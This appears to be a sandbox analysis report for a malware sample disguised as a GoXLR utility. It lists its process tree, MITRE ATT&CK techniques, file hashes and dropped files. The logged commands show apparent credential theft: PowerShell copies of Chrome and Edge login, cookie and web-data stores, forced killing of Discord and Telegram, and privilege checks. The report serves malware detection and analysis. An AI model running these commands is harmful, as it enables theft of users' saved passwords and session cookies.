- Executes a command shell one-liner
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Copy-Item -Path 'C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Data' -Destination 'C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Data.temp' -Force"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell -Command "Copy-Item -Path 'C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies' -Destination 'C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies.temp' -Force""2⤵
- Executes a command shell one-liner
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Copy-Item -Path 'C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies' -Destination 'C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies.temp' -Force"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell -Command "Copy-Item -Path 'C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Login Data' -Destination 'C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Login Data.temp' -Force""2⤵
- Executes a command shell one-liner
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Copy-Item -Path 'C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Login Data' -Destination 'C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Login Data.temp' -Force"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell -Command "Copy-Item -Path 'C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Web Data' -Destination 'C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Web Data.temp' -Force""2⤵
- Executes a command shell one-liner
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Copy-Item -Path 'C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Web Data' -Destination 'C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Web Data.temp' -Force"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM discord.exe"2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\taskkill.exetaskkill /F /IM discord.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM discordcanary.exe"2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\taskkill.exetaskkill /F /IM discordcanary.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM discorddevelopment.exe"2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\taskkill.exetaskkill /F /IM discorddevelopment.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM discordptb.exe"2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\taskkill.exetaskkill /F /IM discordptb.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "net session"2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\net.exenet session3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 session4⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM Telegram.exe"2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\taskkill.exetaskkill /F /IM Telegram.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "tasklist /FI "IMAGENAME eq discord.exe" 2>NUL | findstr /I "discord.exe""2⤵
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq discord.exe"3⤵
- Discovers running processes
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\findstr.exefindstr /I "discord.exe"3⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "tasklist /FI "IMAGENAME eq discordcanary.exe" 2>NUL | findstr /I "discordcanary.exe""2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq discordcanary.exe"3⤵
- Discovers running processes
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\findstr.exefindstr /I "discordcanary.exe"3⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "tasklist /FI "IMAGENAME eq discordptb.exe" 2>NUL | findstr /I "discordptb.exe""2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq discordptb.exe"3⤵
- Discovers running processes
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\findstr.exefindstr /I "discordptb.exe"3⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "tasklist /FI "IMAGENAME eq discorddevelopment.exe" 2>NUL | findstr /I "discorddevelopment.exe""2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq discorddevelopment.exe"3⤵
- Discovers running processes
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\findstr.exefindstr /I "discorddevelopment.exe"3⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "tasklist /FI "IMAGENAME eq discord.exe" 2>NUL | findstr /I "discord.exe""2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq discord.exe"3⤵
- Discovers running processes
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\findstr.exefindstr /I "discord.exe"3⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "tasklist /FI "IMAGENAME eq discordcanary.exe" 2>NUL | findstr /I "discordcanary.exe""2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq discordcanary.exe"3⤵
- Discovers running processes
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\findstr.exefindstr /I "discordcanary.exe"3⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "tasklist /FI "IMAGENAME eq discordptb.exe" 2>NUL | findstr /I "discordptb.exe""2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq discordptb.exe"3⤵
- Discovers running processes
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\findstr.exefindstr /I "discordptb.exe"3⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "tasklist /FI "IMAGENAME eq discorddevelopment.exe" 2>NUL | findstr /I "discorddevelopment.exe""2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq discorddevelopment.exe"3⤵
- Discovers running processes
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\findstr.exefindstr /I "discorddevelopment.exe"3⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "tasklist /FI "IMAGENAME eq discord.exe" 2>NUL | findstr /I "discord.exe""2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq discord.exe"3⤵
- Discovers running processes
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\findstr.exefindstr /I "discord.exe"3⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "tasklist /FI "IMAGENAME eq discordcanary.exe" 2>NUL | findstr /I "discordcanary.exe""2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq discordcanary.exe"3⤵
- Discovers running processes
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\findstr.exefindstr /I "discordcanary.exe"3⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "tasklist /FI "IMAGENAME eq discordptb.exe" 2>NUL | findstr /I "discordptb.exe""2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq discordptb.exe"3⤵
- Discovers running processes
-
-
C:\Windows\system32\findstr.exefindstr /I "discordptb.exe"3⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "tasklist /FI "IMAGENAME eq discorddevelopment.exe" 2>NUL | findstr /I "discorddevelopment.exe""2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq discorddevelopment.exe"3⤵
- Discovers running processes
-
-
C:\Windows\system32\findstr.exefindstr /I "discorddevelopment.exe"3⤵
-
-
-
C:\Users\Admin\AppData\Roaming\GoXLR_Utility\GoXLR_Manager.exeC:\Users\Admin\AppData\Roaming\GoXLR_Utility\GoXLR_Manager.exe1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Scheduled Task/Job
1Scheduled Task
1Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
StartupProfileData-NonInteractive
__PSScriptPolicyTest_hsyoxj5j.30n.ps1
System.dll
modern-wizard.bmp
nsDialogs.dll
01e131a8e9d734d7cb8fd9a89bb51731d265f0e33f01e295f22c33a9379dfd71
05015e84a29e27899bdee173180282a08a8797c01ecd434acd77510ba1ed18b3
0685203e159b44388ce63dd4ea86887febb31c7a46dd7b3e00a55dc972cd115c
08174a7a85f1e7338d7307a0be62ee626eb70bebc8772037334124fae0648e9a
087838e11cb6add73ec4cd2c26243b4f95b1ea42847a521997b46243c02ca3a5
0cf03630371a76b40acc53ebf4c23318a4bbaf96cc2e32e690c7035e1281d030
0d2ee9364f459b542b23dd56de99adb665fde93a8b5c55f743c02af0feb5c331
11846652ced6f7ca82aafe177f3db25555026a9a110df201fc9d6ab2b96387ab
141e4c2434392a639ada3daef28947b5b15db282cbc1f469d796ba9006b6f593
1662fae9b5314d11cf51284e2dcd1f006a354f7343f08712a730fcff9a359801
1883fd43d17ff1286b050bd721ac8cb82110977a58ec98da4c6b4f50ad64ae56
19920671f5902f64ad8ea11767fa50ea9d7a71ae0b7dff7ba5693c0075afc763
1a6b4d9739790c0b94ab96c8cc0507e281c164c311ff4fbf5e57fb8d26290b40
1b2dd939fa804d0ccbb3af2cb98fa338130a8a374b51b56647f8dec7314534f9
1bf74a4c4829fe4461e1c0cf96b6c94f61b8f1561ca4bbd328d66bfe71c17951
1d559c27e0cf2c44da6c18636ccdcb5456af2b0dd633b8907725cf6380a7f3d2
1e721cab668da970814deea3253ee3949063695137d1d2855918be44da8259be
1f518b9690cdc9c463095366d7f827859f3128aec00970d9e876d515d3fc5b0d
2027414e2cf46e1635772789c52cc68961f715e4556561d4884a27c363168604
20fe3fa9a63749f748215e20575d0bfeb7dc12a578184fb6bd1f7175674557d2
219264582d099590a0f9caff47b4d6911f4cdcd118a96b02b34f0846789d81bc
22b02c05fe39664ff9b74c7cec5685b66d83e4c651734ddfff2e7dbd46d473be
251abd80280b1efda1bd4622826e2251e57fa6d72118efc1239f149a1fb7d06a
268e49d3bdba53b10ea1b31e7db68d0d6010067ac15d3bd8b985388185888bf0
268e4ba811f97a11054baf3d1d000f366f57aaca9b6d18fc2c16046c25ee0af3
27418b1782a44052688e32178471fcb34eaa7ada3f7e4cda0c7070fcc5a58aa1
28f962fe035ec5ebb52f9bccbd526f4fda777dc9c3874fc17e34064fd006deb2
2dc56ebe102db45c139270980d4133a8daa57d2808c7f1b3a683617c186cc9a9
30d0133250f8cdc9c689b55d16815bd08c5d5a2e61e247a47ca012c743203179
31ca9b72ac469bac462c7a05b06a11874f192f30ea2ae0981705125588a51506
35bf73efd082550e08b61dfa1b5b1dfaa47304ea054bce635007cdba95b32d2b
37f1abcab633b5062c018566acd62f3a17812b0bf1fe5c2e450f937fb70222e5
3838656cc6793783a91e5eef412a40d9510ffa3db6b304232c3682bfa64914cd
3a531cbad0ceeee2f96640c677723948a83747e377fa800b0e05d3778d0a2fcb
3a61c6c96caf5c1d9b623fb9b04c822b783dfcb78aa7e49c76a3f643e6ed7f95
3b3f46adbbb4af238312f0af8565c9c628677ba4953b391c9ad34f99c0187ea4
3d14b0e96ce1d5763ed271e3d8c0bed93eea71d3ec25cc623fb580395364c9fc
3e71a12b840b52ca9ca8abb1ddfd3054c68eef177fb8819164919ca168d5c3ed
3fcf834f509c32d25158677bcd1f81cc3e20370c84658b6e720b83d9cfcba1ac
41182adefb78b988df587dee49df7f213a4bd0bd64b3294552a75e7fdd00c36e
426699c3d908a5d01daa7f49691e05820a3d82052bffc0efa5de31fae1b1f873
44bd261fc6144fc7346aef3bf13b0629198ee95348e4845ece0e0d7fd48854a4
4606d097937ca53665ae64c61e2c31ea142c450fc53287baf3d19c67e0cc903d
46b67326e11c60963bcb49d7cc0c719ee7b241446abb2a5790d786e417e8dc16
47b6b1a8db073f0fb27dc748f3c2dac62d590c24a6eec84b753cf1ac5510ac3d
49afcdd636565988ee8627581074f3381d8ff9946f2b2eb61239ba9a8456610b
4a2aa9f97581586e2f6cc77e34a9ef0a394ad7391224abf9372b8ada01f60a94
4b77f70e29eb784ae8f6a2b4edc657b1a7bcd4dc06093db6cf7cd20633108933
4bc9dbcead9275a7d680e21159df7f7f79f718f0f0e21378f2fb9fed254853fd
4d8c4adb124206b317f9555dbb725c63614f317b105e7afee6682ce3dfcf1218
4f058eff0dd7ba53c6cfdfa67bfd9d9eb20ed76f71e46376e26a49a18cb4b950
52c5a74ed315d14f7195740f913f72f1b2810dc1e415d090f21388315bb3b03a
5416bdb5ab4bea12164379a9e69bfec623dd9c30a992ccf2ed7c2f23dd14e576
54ee4410927bd70bd19349dae9a566b181c0dd3212bed10c53f3d1e3a3a38b85
55f8ced380115ee2efc9bd88afad85450cc0e0b1484b246f9a34c76e4fec4e8b
565549dbb3ac4ac8cc01727889ebebd9cd4da646efda8b3cefc40532acc1a959
5740af8a8e97f17c0e601a38345f268dce0716ba9021f170442021bbb879aed1
58ce39fa1e6d0b873c62a3b0e388adcbe64e3c495d7d033ee4715ffc047a991c
58d7bd9c9eceb66c97f56daf69cc6d0e1397ae4655533814b73a7f678a6f55f7
59e91ed8945daa7eafb7b937d2f207cadcf1ab0be5860236c8206cfd2476dedc
5a51a966e23d18aca911dc321560093025571d2c2be3bb5ca0238d4fa8049d71
5a84f53acf8a975188165b2ce3c64dcf92da23fe7757a95b9de7387493cc08c2
5c39e5c281d874ec87f084820af5290c9d73f5da700e0b4cdf7e77a9efd3c4ad
6251d8f606aaacea772ce4ccd87c25fe2375825f4ec3109703a33d904fd5bf80
642f4fd7c672e160a98585b56e29c6f4570eeee682d38c99340a12c5e8754e19
6453a6f302d814249c2e0a6a29234b8b03bdc4e273cabe54280f20193c0bc0bd
66be57d80b9b424b755a7a47982a87df22a2f0afd8d1fcaf68625acd1d722c66
67d616368335a73f3f0c85314398b3af472317519869f7b80286302f8ec06525
686c035e628539a94da9c9bd089d42608b397920f1fcadedb5b05c4de59c5c70
6ac535a9dfeb6a80bc1ecc1eff71626ddd8a15131e3265298536e2966170179b
6b3fe6e47a42397ea6e8c28b66cfd2d18a22dfd30866ec8706ec5f699a3947e8
6de6a35961b11d4d0b9e6ae0933c33c68aaf6d3c5094f4b12afdaaf6ad151045
707b03ccf6cc836bd565e4e565d06b0950d05d52a74bd59804b878f170452d85
737bee646ba7cbe201d3f103c59f079aab7d4309fc33196684d9ffdcbea91031
75633476981041e5522c9c66449874ffecd8b6a92c57cb7d73ab5532a9d06e6a
76d2df98427c92eccb8eded26cef402c86da32ed19799dbb0087db1156766b6a
76fb5acae15251a2265a1cb7289cd79475d39389bbe69063eba83acdfb59cffb
78997c73af05e6f23e8e1a8cec173e242343e9a43255064c8f6b9ea4e373c585
7e8ff3271c6fa08268db34b5f2630c72c99362a89c65a278c3ac1febca426f0d
7f2a253f744dd81087cd1ef59043e61f15ec24a043ab841832964c4938039d50
7f5bae05440e1ca8be4259a8b2a28958ed76d78b6fd77df401ac5d669c3dc877
820af96cd4d523b50ad43c210b0c8c68334123911d20dc5b2df0082a3913efc2
83e217b18134af955f8e613ad1e52ac6e3a726fe2a80c4d8dcb842debd5a0de6
856e1acc1f0a4068bd1a44f6c6179e42019c55d3e422ef28e4f2d406c00d5e99
863b4363ffdd85c202a7a71f60ae63d50d17f7b85e6650d2b8263f0f41323ec0
870861c2df4f07aba46816cd8023debd5ae937d7ca66dc5c30f83b616a0a7070
87e6f850a483712c382b2b24aa2809fbe901766aae18cf49733d6b8cd33be805
87e7104e14e6d8ee0507b09a5fe82450ec80589cd68abcb9f6080d27e1433e68
88e3523dcd3db20719ad9919fd8a1968a94e719f5837d5be08201a3bb1991e2c
8b91e09447f99fbeacd4c73936622be3cda89a1337df928cd8aa4fefa95a53fe
8bf6c4f414b123ea2a9375b91982882d01d8561ce7d12e3bb4f448c23359f040
8f1877a093d68ee2b517d8a5222f146dc735206cb91714769ec356c333c1023b
9027fcfc74b92731ec664f96aa6898100c2891ec7dc037be05e455528c02d35e
90a2b3464510e06149fde302e3c2a9e0c800ced1d3f8961525c028bdfd3c7768
91378edb40b70acd1d255fca7f9fe9520b907a415033b78cf505320566dc48a2
9222406230bd89d001ecbb6480577594b11e1349e36fff4575993002cce8e052
9267d93d93f246ca8132c30189694b5b1c1e59d0a8d09e418d05c1fc7f2416ef
978242cde40cf45116ad8696795b24b2bfb4e5b08a2ea2e1bcff0bae3526429f
990fe5579a8ea1c1afc59002b4f91c6cc1b553c831a197f37f64d74ead52a2eb
9e77dcb984a563aba0516285118c098e58c87d5f635c4de4e4c45cb7bacd5fec
a2fdef84fd9fa07a11bbf6a5a092199b0aaeb0e357697f0f9c7a6734d3cba89e
a4a04bf283e8805a8554d6d5fae373bdb727b1bdbb503cc6e97efc43fc347eca
a4b5c8d8bbb79524170327796277ae9a29b0dec5d5107db38f68fa7baffd5bd9
a61b84387927b5ad6b6951232cc7b917f43919eda3bfcafcfa3dd1622bed2474
a796a7314238e8dd606c245ecc186040820c2a588142dfda9c09da77a3f9ba15
a98792f89d7652ca50252de2a501f0bfd8b4016b332bbf4a806fe550f7b7c7b8
aa127ff1752b7d9c7415c5c7bb6994d9aa722b81bcbcab4bd48316b013d23bf3
acab40c84af80a07fd1080f8f6b35c1265108220911fa7bfd9bce05ac1ea8b32
b04ab245e6935172d1f4e27151d048b9d212d45934414cc262823f8ab2535fd7
b3f1f0b98f82bedd4ad3279e8ce322c57ae0c76bcb9a3ce4f537e7fe8899cd9e
ba649ccee1be89d6520d4684e9ad04b5a843caab77178e95cb7c2dc8ddbf9527
bab9981f0bbe5eca4213d14c8759d0a826a8ad363506e69864efa3d194e56314
bb4ff716c6efd0df855b253ea5fc0eed17abb911f2f1aeb31015972fdda17b0a
bdeaaee73fd90ff561a6dde91fc66c53a5d115721ded4a62632515d14a6a4833
bef567f63538b4fc38185415ce3a085557588d6f342a820a6aec87aa1ff166f0
c032914561e62f1db529a3af251e47a42b4f6b18a977fd8285dc7dfa148ea9c4
c13eb6f3cd50f9160605e31aabd6a78ea0426884374099ace61ba49e93d6fd2b
c1aac5adba9aae89ead6dbcfa432e2e8635e7ac950324f03b6d49a8d52d82b2b
c5abd3552ae873822b529a417b0477fb09a40464cbae8c6f2b9c3ea6a871ba87
cabbadd2cf482cb292be3f69f42765489dba1cbd2c425e58b589e53edb97702c
ccd951e3287505ab1d5305c274f815557c8a637dd3caab86af30aad06f019d01
ce9a87677a9b9af9dcc6f8f632b62948214824174b65fe4361d3b662cc72aec0
cf128551e099803731490bca4a2b53c9a14a94e510a11fcabd13fbb8ef6d7245
d079bf4fd04a501eaeed273e172c698c502cd5d8a5d43b826864225e391a0e61
d50f28f31975159855f5a535ca9c784c5aba04b12f5d7708821f32be29b7c64e
d7b26d7c92f8ea7794b77ce11f3c11cd18c9084df7c357e3c7025344fa28aac6
db4c4ac32b4ee3c711652492f02b03a39fe6efa9d8ae55581320afb797539a63
dbe83d2bb5837f3c4d7fe537b8004c585987270eceed5b06b8e078deb0ae214a
ddb3bc82f27aee8989f3700f0da37f386892cb003a4ebae76b36a2d3c33a2842
ddc04708959b50f6091a3118dc98d91757073bd4541abba8261c9d7dfa225ca8
ddf35a3b3cf53a2d5c40f6458a1d297f6cc5286e14f709a6d0f2712500cb5960
e1b54408a53067f13030e28a6dd706703e4febe65d2224f22cd5a095eb251755
e1f93038e12d4dc05397e39a497df9fab864023cfcb94d71cb843b0e991ae0e6
e338ce3dfdb85b88848b292f801e34eac5848074673368b17a4208287b46c3b4
e59487a4b312f0ef5f4d550fda23d67cc55232347557b6ee9c1ae67f9aafbd02
e5f0b6a946a9b2b356a28557728410717df54ea2f599edb619f9839df6b7b0e9
e62902d14643204403d9195a57f2da8ad348bf4c0a114be55a8978cc0a66de2a
e6ff2cfc56d599bc5b78a21bb8619477787fc15963d9ba5dcb444293154ffb2c
e8cafce19618bfc9aece7c71ee87efdd03f8f7614af09c5c66826be1d6702ddb
e92b34ca2eb89608902eff0960104d277691469be758046d8c210d3a4579a3f0
eb8885e7858b7269667f5c4a45eca0dbea08b865e688c73c5a2ea191d200b107
ebbe9907a946ba5355b780e657e632748285aa2d1155e99f736aaa0113388d56
ee109c2bc130655caedd91d71543428fb133146c3a0a33c51bffcfbfdacfa2f7
f2e09113aa4885aeff3db96262fefbf443e02c2559957dbfa3c8663f25c4076f
f64c5e349d5af66f45267b8111a05796f072d9086321f8a87ecb4f031d14869b
f745c262a26e789bd92ab875007cfba9b98f0abcbc5c5606b7e98f8191726d34
fbf9db5505715032364a20aecd0dd11377391458e50e99b8315b3ae4e54431b2
fd27d751765c06dd507f7daefbc57cd8012ec540f97f96d48035612a4ce61a58
README.md
binding.gyp
index.jade
jquery-3.5.1.min.js
ref-napi.h
get-paths.js
ref.js
package.json
electron.napi.node.bak
node.napi.node.bak
binding.cc
object.js
pointer.js
reinterpret.js
string.js
GoXLR_Manager.exe
memory/2004-2658-0x00007FFDF00B0000-0x00007FFDF0A54000-memory.dmp
memory/2004-2662-0x00007FFDF00B0000-0x00007FFDF0A54000-memory.dmp
memory/2004-2657-0x00007FFDF00B0000-0x00007FFDF0A54000-memory.dmp
memory/2004-2656-0x00007FFDF00B0000-0x00007FFDF0A54000-memory.dmp
memory/2004-2655-0x00007FFDF00B0000-0x00007FFDF0A54000-memory.dmp
memory/2004-2659-0x00007FFDF00B0000-0x00007FFDF0A54000-memory.dmp
memory/2004-2654-0x00007FFDF00B0000-0x00007FFDF0A54000-memory.dmp
memory/2004-2660-0x00007FFDF00B0000-0x00007FFDF0A54000-memory.dmp
memory/2004-2653-0x00007FFDF00B0000-0x00007FFDF0A54000-memory.dmp
memory/2004-2652-0x000001D9498B0000-0x000001D9498D2000-memory.dmp
memory/2004-2664-0x00007FFDF00B0000-0x00007FFDF0A54000-memory.dmp
memory/2004-2649-0x00007FFDF00B0000-0x00007FFDF0A54000-memory.dmp
memory/2004-2648-0x00007FFDF023F000-0x00007FFDF0240000-memory.dmp